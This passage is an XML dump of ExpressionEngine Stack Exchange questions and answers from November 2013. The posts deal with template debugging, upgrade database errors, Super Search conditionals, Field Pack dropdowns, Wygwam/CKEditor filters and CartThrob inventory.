/>
  <row Id="16863" PostTypeId="2" ParentId="16828" CreationDate="2013-11-18T19:05:46.040" Score="0" Body="&lt;p&gt;I'm not very familiar with SQL myself, so unfortunately I don't have a direct answer to your question. But once you've sorted out the most efficient way to pull in the entries / data you need I'd recommend taking a look at &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache&quot; rel=&quot;nofollow&quot;&gt;CE Cache&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a replacement for well written code, but it can be incredibly helpful for situations like the one you're describing. It does a great job of lessening the load on your server by providing some nifty caching options (which should help dramatically drop your query count). The page load boost it can provide is black magic, crazy awesome kind of stuff.&lt;/p&gt;&#xA;" OwnerUserId="263" LastActivityDate="2013-11-18T19:05:46.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16864" PostTypeId="2" ParentId="16828" CreationDate="2013-11-18T19:10:20.317" Score="1" Body="&lt;p&gt;I'd grab a copy of the EE Debug Toolbar and install it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/ee-debug-toolbar&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/ee-debug-toolbar&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It adds a better interface for EE's template debugging, including a graph to plot the performance &amp;amp; time of each page render. Look for all the places where the processing time jumps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a number of {embed=} tags, particularly within a loop of any kind, work hard to refactor those away. Without seeing more of your template it's hard to know what to recommend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, a limit of 200 for a channel entries loop is not insignificant. Is that section paginated, can you reduce that limit to something lower?&lt;/p&gt;&#xA;" OwnerUserId="486" LastActivityDate="2013-11-18T19:10:20.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16865" PostTypeId="1" AcceptedAnswerId="16956" CreationDate="2013-11-18T19:22:15.657" Score="0" ViewCount="441" Body="&lt;p&gt;Okay this one is totally nuts, I've spent all day trying to nail this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attempting to go from EE 2.5.5 to 2.7.2, but after the upgrade, I'm getting the following error on some pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Error Number: 1054&#xA;&#xA;Unknown column 't.dst_enabled' in 'field list'&#xA;&#xA;SELECT t.entry_id, t.channel_id, t.forum_topic_id, t.author_id, t.ip_address, t.title, t.url_title, t.status, t.dst_enabled, t.view_count_one, t.view_count_two, t.view_count_three, t.view_count_four, t.allow_comments, t.comment_expiration_date, t.sticky, t.entry_date, t.year, t.month, t.day, t.edit_date, t.expiration_date, t.recent_comment_date, t.comment_total, t.site_id as entry_site_id, w.channel_title, w.channel_name, w.channel_url, w.comment_url, w.comment_moderate, w.channel_html_formatting, w.channel_allow_img_urls, w.channel_auto_link_urls, w.comment_system_enabled, m.username, m.email, m.url, m.screen_name, m.location, m.occupation, m.interests, m.aol_im, m.yahoo_im, m.msn_im, m.icq, m.signature, m.sig_img_filename, m.sig_img_width, m.sig_img_height, m.avatar_filename, m.avatar_width, m.avatar_height, m.photo_filename, m.photo_width, m.photo_height, m.group_id, m.member_id, m.bday_d, m.bday_m, m.bday_y, m.bio, md.*, wd.* FROM exp_channel_titles  AS t LEFT JOIN exp_channels AS w ON t.channel_id = w.channel_id LEFT JOIN exp_channel_data AS wd ON t.entry_id = wd.entry_id LEFT JOIN exp_members  AS m ON m.member_id = t.author_id LEFT JOIN exp_member_data    AS md ON md.member_id = m.member_id WHERE t.entry_id IN (27) ORDER BY t.sticky desc, t.entry_date desc, t.entry_id desc&#xA;&#xA;Filename: modules/channel/mod.channel.php&#xA;&#xA;Line Number: 297&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought it was  a simple issue of an addon not being updated as dst_enabled has been removed since 2.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it get's weird.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only get this error if I access the pages with a channel tag over SSL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've cut everything back to absolute bare bones, all addons, extensions, plugins and field types have been uninstalled and physically removed from the site. I've created a very basic template to reproduce the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pages&quot; entry_id=&quot;27&quot; limit=&quot;1&quot; disable=&quot;categories|pagination|member_data|custom_fields|category_fields&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also replaced all EE files with a fresh download in case a file was not replaced during the upgrade. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've disabled htaccess, and reverted to stock EE config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running on PHP 5.4.19 and can reproduce it on different servers with entirely different configurations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The really annoying thing is I've run into this issue before, took days to track it down but I didn't document the fix! Paying the price now :(&lt;/p&gt;&#xA;" OwnerUserId="587" LastActivityDate="2013-11-20T19:15:13.807" Title="Unknown column 't.dst_enabled' in 'field list' after EE 2.7.2 Upgrade" Tags="|ee2|entries|ee2-upgrades|ssl|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16866" PostTypeId="2" ParentId="16801" CreationDate="2013-11-18T19:36:11.353" Score="0" Body="&lt;p&gt;Thanks all for your answers. In the end Stash looks like the most direct solution. Though it's nice to know those other random generators exist--I was close to trying out low_random just for the heck of it since it looks so useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my stash code btw&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:stash:set_list name=&quot;videos&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel_videos:videos entry_id=&quot;{entry_id}&quot; embed_width=&quot;300&quot; embed_height=&quot;169&quot;}&#xA;       {stash:embed_code}{video:embed_code}{/stash:embed_code}&#xA;            {/exp:channel_videos:videos}&#xA;        {/exp:stash:set_list}&#xA;&#xA;        {exp:stash:get_list name=&quot;videos&quot; orderby=&quot;random&quot; limit=&quot;2&quot;}&#xA;           {embed_code}&#xA;        {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2013-11-18T19:36:11.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16867" PostTypeId="1" AcceptedAnswerId="16875" CreationDate="2013-11-18T19:42:56.367" Score="1" ViewCount="186" Body="&lt;p&gt;I would like to have a search results page with results from 8 different channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The results depends on the channel name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if channel_name = channel1}&#xA;Display {custom field} - {custom field 2}  And additional text here.&#xA;{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if channel_name = channel2}&#xA;{title} - {excerpt} - More stuff you don't see unless the results have that channel.&#xA;{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if channel_name = channel3}&#xA;{custom field 3} - {custom field 4}&#xA;{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so on.... Any idea on how to do this.  It's not clear in the documentation.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2376" LastEditorUserId="69" LastEditDate="2013-11-18T22:38:12.353" LastActivityDate="2013-11-19T02:05:35.803" Title="Super Search Results Conditionals Based on Channel / Custom Field" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16868" PostTypeId="1" AcceptedAnswerId="16889" CreationDate="2013-11-18T20:20:10.580" Score="1" ViewCount="259" Body="&lt;p&gt;I want to test for a single unchecked checkbox using P&amp;amp;T's field pack checkbox. Anyone know the syntax for this?&lt;/p&gt;&#xA;" OwnerUserId="2377" LastEditorUserId="69" LastEditDate="2013-11-18T22:37:47.480" LastActivityDate="2013-11-19T12:12:38.187" Title="How to test P&amp;T's field pack checkbox, unchecked" Tags="|pixelandtonic|conditionals|field-pack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16869" PostTypeId="2" ParentId="16802" CreationDate="2013-11-18T20:36:43.197" Score="1" Body="&lt;p&gt;I figured it out eventually. I am using a config bootstrap which I set up when I was first learning ExpressionEngine and haven't looked at it much since, apart from updating db settings etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had:&#xA;&lt;code&gt;$config['enable_db_caching'] = &quot;y&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and EE was caching the stash chunks before stash could which was causing all the trouble when I was logged in. I've turned this setting off in the config now and it is behaving as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now realize this setting was causing problems with some of the other modules I'm using. A few issues I've had now make sense!&lt;/p&gt;&#xA;" OwnerUserId="1966" LastActivityDate="2013-11-18T20:36:43.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16871" PostTypeId="1" CreationDate="2013-11-18T21:58:28.560" Score="0" ViewCount="371" Body="&lt;p&gt;When trying to upgrade Solspace Freeform and Solspace Tag, I'm getting PHP errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Freeform, I'm trying to update from 3.1.0 to 4.0.12. When I go to the Freeform module page, I get this PHP error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Database Error Occurred Error Number: 1146&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Table 'db_production.exp_freeform_multipage_hashes' doesn't exist&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;TRUNCATE &lt;code&gt;exp_freeform_multipage_hashes&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: third_party/freeform/upd.freeform.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 472&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For Tag, I'm trying to update from 3.0.5 to 4.2.3, and I'm getting these errors when I try to access the module:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message:&#xA;  file_get_contents(/path/to/my/system/expressionengine/third_party/tag/tag.sql) [function.file-get-contents]: failed to open stream: No such file or&#xA;  directory&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: tag/upd.tag.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 817&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: Cannot modify header information - headers already sent by&#xA;  (output started at&#xA;  /path/to/my/system/codeigniter/system/core/Exceptions.php:170)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: core/Common.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 412&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A Database Error Occurred The query you submitted is not valid.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: third_party/tag/upd.tag.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 828&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've already tried completely re-uploading the files from scratch, making sure that the old files are gone from the system, but I still get these errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.6.1&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-12-07T21:08:25.373" Title="PHP Errors When Upgrading Freeform &amp; Tag From v3 to v4" Tags="|solspace-freeform|upgrade|php-errors|solspace-tag|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16872" PostTypeId="2" ParentId="16849" CreationDate="2013-11-18T22:24:28.860" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/MaxLazar/mx_default_category&quot; rel=&quot;nofollow noreferrer&quot;&gt;MX Default Category&lt;/a&gt; - tell me if is it something what you need.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;MX Default Category ext. helps to select default categories for any&#xA;  channels.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It is also add select all trigger on parent checkbox to&#xA;  select/deselect all child.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/slGFP.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5sLTD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="22" LastEditDate="2013-11-19T02:52:07.373" LastActivityDate="2013-11-19T02:52:07.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16873" PostTypeId="1" AcceptedAnswerId="16874" CreationDate="2013-11-18T22:34:17.977" Score="1" ViewCount="56" Body="&lt;p&gt;I have a Field Pack Dropdown field for authors to select an icon. In the field settings I have the following options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;#x1F440; : View&#xA;&amp;amp;#x1F4DD; : Compose&#xA;&amp;amp;#x1F512; : Lock&#xA;&amp;amp;#x1F513; : Unlock&#xA;&amp;amp;#x1F511; : Key&#xA;&amp;amp;#x1F4DE; : Phone&#xA;&amp;amp;#x2709; : Mail&#xA;&amp;amp;#x1F4AC; : Chat&#xA;&amp;amp;#x1F465; : Users&#xA;&amp;amp;#xE6D0; : Location&#xA;&amp;amp;#xEB85; : Connection&#xA;&amp;amp;#x201C; : Quote&#xA;&amp;amp;#xED50; : List&#xA;&amp;amp;#x2699; : Settings&#xA;&amp;amp;#x1F4C5; : Calendar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This shows up in the publish page as expected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;field_id_5&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;amp;#x1F440;&quot;&amp;gt;View&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;amp;#x1F4DD;&quot;&amp;gt;Compose&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;amp;#x1F512;&quot;&amp;gt;Lock&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;amp;#x1F513;&quot;&amp;gt;Unlock&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;amp;#x1F511;&quot;&amp;gt;Key&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;amp;#x1F4DE;&quot;&amp;gt;Phone&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;amp;#x2709;&quot;&amp;gt;Mail&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;amp;#x1F4AC;&quot;&amp;gt;Chat&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;amp;#x1F465;&quot;&amp;gt;Users&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;amp;#xE6D0;&quot;&amp;gt;Location&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;amp;#xEB85;&quot;&amp;gt;Connection&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;amp;#x201C;&quot;&amp;gt;Quote&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;amp;#xED50;&quot;&amp;gt;List&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;amp;#x2699;&quot;&amp;gt;Settings&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;amp;#x1F4C5;&quot;&amp;gt;Calendar&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is the field is not storing the data, and on the front-end calling the field outputs a null value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what the issue could be, or any workarounds I could try?&lt;/p&gt;&#xA;" OwnerUserId="549" LastEditorUserId="549" LastEditDate="2013-11-18T22:43:27.977" LastActivityDate="2013-11-18T22:43:27.977" Title="Field Pack not storing icon hex" Tags="|pixelandtonic|field-pack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16874" PostTypeId="2" ParentId="16873" CreationDate="2013-11-18T22:38:39.787" Score="3" Body="&lt;p&gt;I removed the'&amp;amp;#' characters from the dropdown options&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;#x1F440; : View&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;has now become&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x1F440; : View&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and added those characters to my template output instead.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;#{standard_icon}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The field is storing the value as expected and the icon is being output fine in the template.&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2013-11-18T22:38:39.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16875" PostTypeId="2" ParentId="16867" CreationDate="2013-11-19T02:05:35.803" Score="1" Body="&lt;p&gt;Did you try these conditionals and it didn't work? I would expect that or &lt;code&gt;channel_short_name&lt;/code&gt; to work just fine in a conditional. In my test using Supersearch 2.1.3 and EE 2.7.1 this conditional works as expected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results}&#xA;    &amp;lt;div class=&quot;search-result&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;        {if channel_short_name == &quot;articles&quot;}&#xA;            &amp;lt;p&amp;gt;This result is from the articles channel&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;        {if channel_short_name == &quot;recipes&quot;}&#xA;            &amp;lt;p&amp;gt;This result is from the recipes channel&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;        &amp;lt;p&amp;gt;{excerpt}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-11-19T02:05:35.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16876" PostTypeId="1" CreationDate="2013-11-19T02:54:38.570" Score="1" ViewCount="377" Body="&lt;p&gt;I'm getting this issue with a new MT GS Server and have yet to resolve the problem despite reading he various recommendations on EESE. My database.php file is set to point to my config.php file where I've placed all my DB settings in a DRY setup. Both have been tested with 755 and 777 with no change in results. I can log into the db with PHPMyAdmin and Sequel Pro but when I try EE and a simple test script I get the above error. Any ideas why I can connect with PHPMyAdmin and Sequel Pro but not through PHP? Any other suggestions to try to resolve a db connection? Anything to keep in mind when talking to tech support at MT?&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2013-11-19T14:23:45.607" Title="Site Error: Unable to Load Site Preferences" Tags="|error|database|site-preferences|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16877" PostTypeId="2" ParentId="16758" CreationDate="2013-11-19T03:28:58.340" Score="8" Body="&lt;p&gt;You can do this without editing the Wygwam source. First you need to create a custom config file for CKEditor. Create a JavaScript file called something like 'ckeditor_config.js' and then set Wygwam to use it. You can do this by adding an advanced setting to your Wygwam editor configuration. Add the 'customConfig' setting and enter the path to the JavaScript file you just created. It will look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/javascripts/ckeditor_config.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then enter the following code into the file. It sets up a htmlFilter that adds the 'inline-media' class name to all div elements that contain an iframe.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CKEDITOR.on( 'instanceReady', function( ev ) {&#xA;    ev.editor.dataProcessor.htmlFilter.addRules({&#xA;        elements: {&#xA;            $: function (element) {&#xA;                // Add inline-media class name to embedded media&#xA;                if (element.name == 'div' &amp;amp;&amp;amp; element.children[0].name == 'iframe') {&#xA;                    element.attributes.class = 'inline-media';&#xA;                    return element;&#xA;                }&#xA;            }&#xA;        }&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Later versions of Wygwam will strip out the div when you save the field. In your Wywam settings, add an advanced setting for 'extraAllowedContent' and set it to &lt;code&gt;div(inline-media)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="975" LastEditorUserId="975" LastEditDate="2014-03-12T01:45:54.113" LastActivityDate="2014-03-12T01:45:54.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16879" PostTypeId="2" ParentId="16772" CreationDate="2013-11-19T05:36:28.443" Score="1" Body="&lt;p&gt;The problem with your second block of code is that the option values for the &lt;code&gt;category&lt;/code&gt; select field is a URL, when it should be category data, such as a category_id, category_url_title or category_name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say your first search with the first dropdown sends you to &lt;a href=&quot;http://mysite.com/event/results/search&amp;amp;category=sports&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/event/results/search&amp;amp;category=sports&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this result page, you can create another search form, and pass the previous search's values. In this case, you could pass &quot;sports&quot; in a hidden field, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if super_search_category != &quot;&quot;}&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;category[]&quot; value=&quot;{super_search_category}&amp;amp;&amp;amp;&quot; /&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please note the brackets in &lt;code&gt;category[]&lt;/code&gt;&lt;/strong&gt;. This is needed to be able to submit an &lt;em&gt;array&lt;/em&gt; of category data. If you forget this, you are sending a single &lt;em&gt;string&lt;/em&gt; of data, i.e. only the last filled field with name=&quot;category&quot;. The &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; is to enable an AND search with other categories. (The alternative is to use &lt;code&gt;inclusive_categories=&quot;yes&quot;&lt;/code&gt; in {exp:super_search:results})&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the above in your search form on your result page, just create a dropdown with your child categories. Use whatever you need for this, GWcode or other. The important is to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use &lt;code&gt;name=&quot;category[]&quot;&lt;/code&gt; here again&lt;/li&gt;&#xA;&lt;li&gt;pass category data in the option's value=&quot;&quot; attribute (not a URL). Add &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; at the end to specify that categories are to be searched inclusively.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In other words, try getting something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category[]&quot;&amp;gt;&#xA;   &amp;lt;option value=&quot;soccer&amp;amp;&amp;amp;&quot;&amp;gt;Soccer&amp;lt;/option&amp;gt;&#xA;   &amp;lt;option value=&quot;tennis&amp;amp;&amp;amp;&quot;&amp;gt;Tennis&amp;lt;/option&amp;gt;&#xA;   ...&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you select &quot;Tennis&quot;, for example, in this second search submission, you should be sent to  &lt;a href=&quot;http://mysite.com/event/results/search&amp;amp;category=sports&amp;amp;&amp;amp;tennis&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/event/results/search&amp;amp;category=sports&amp;amp;&amp;amp;tennis&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No messy javascript to mess with either! :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-11-27T01:31:43.063" LastActivityDate="2013-11-27T01:31:43.063" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16880" PostTypeId="2" ParentId="16860" CreationDate="2013-11-19T06:08:54.903" Score="1" Body="&lt;p&gt;I've noticed this too: Profile:Edit does prevent duplicate member email addresses and usernames, which is needs too. But, not screen names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that Rob from Mighty Big Robot commented on this issue, before, on this site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9951/how-to-keep-screen-name-in-sync-with-profile-channel-fields-using-profileedit?rq=1&quot;&gt;How to keep Screen Name in sync with Profile channel fields using Profile:Edit&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1900" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-11-19T06:08:54.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16881" PostTypeId="2" ParentId="16852" CreationDate="2013-11-19T06:17:09.540" Score="4" Body="&lt;p&gt;Really common to use &lt;code&gt;{count}&lt;/code&gt; for this, as suggested: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;column_{count}&quot;&amp;gt;I'm item {count}&amp;lt;/li&amp;gt;. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I often combine &lt;code&gt;{count}&lt;/code&gt; with &lt;code&gt;{switch}&lt;/code&gt; and a truly unique identifier like &lt;code&gt;{entry_id}&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;list_{count} {switch='col1|col2'}&quot; id=&quot;thing_{entry_id}&quot;&amp;gt;&#xA;  I'm Thing {entry_id) at List position {count} in Column {switch='col1|col2'}&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-11-19T06:17:09.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16882" PostTypeId="1" CreationDate="2013-11-19T09:05:20.270" Score="1" ViewCount="342" Body="&lt;p&gt;I'm setting up a shop with CartThrob, with one product with multiple options. This is set up using Price modifiers. But now the customer has requested inventory to be updated through the shop. I've looked around, and tried to see how it's done, but to no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried setting up a text field called inventory, and set the Product Inventory Field Name to this field, but it won't change. I also tried to do it with a Matrix, but that didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the &quot;Update Product Inventory When Editing Order&quot; set to Yes as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried installing the &quot;CartThrob Price Modifiers Configurator&quot;, but there is no column for inventory here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any Getting started guides for inventory in CartThrob? Because the docs are getting me nowhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I've even tried adding &lt;code&gt;{inventory:reduce entry_id=&quot;6&quot; quantity=&quot;4&quot;}&lt;/code&gt; pointing to the product id, but still nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit2:&lt;/strong&gt; Okay, so setting the Price Modifiers Configurator field to the inventory-field gave me the inventory column, as I wanted, but it's still not updating the field after purchase.&lt;/p&gt;&#xA;" OwnerUserId="1990" LastEditorUserId="1990" LastEditDate="2013-11-20T10:50:47.670" LastActivityDate="2013-11-20T10:50:47.670" Title="CartThrob - Getting started with inventory" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16883" PostTypeId="2" ParentId="16859" CreationDate="2013-11-19T10:06:20.327" Score="1" Body="&lt;p&gt;It absolutely is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find information on how to disable XSS filtering on this thread &#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/189/are-pdfs-still-an-xss-problem-with-ee-uploads/193#193&quot;&gt;Are PDFs still an XSS problem with EE uploads?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-11-19T10:06:20.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
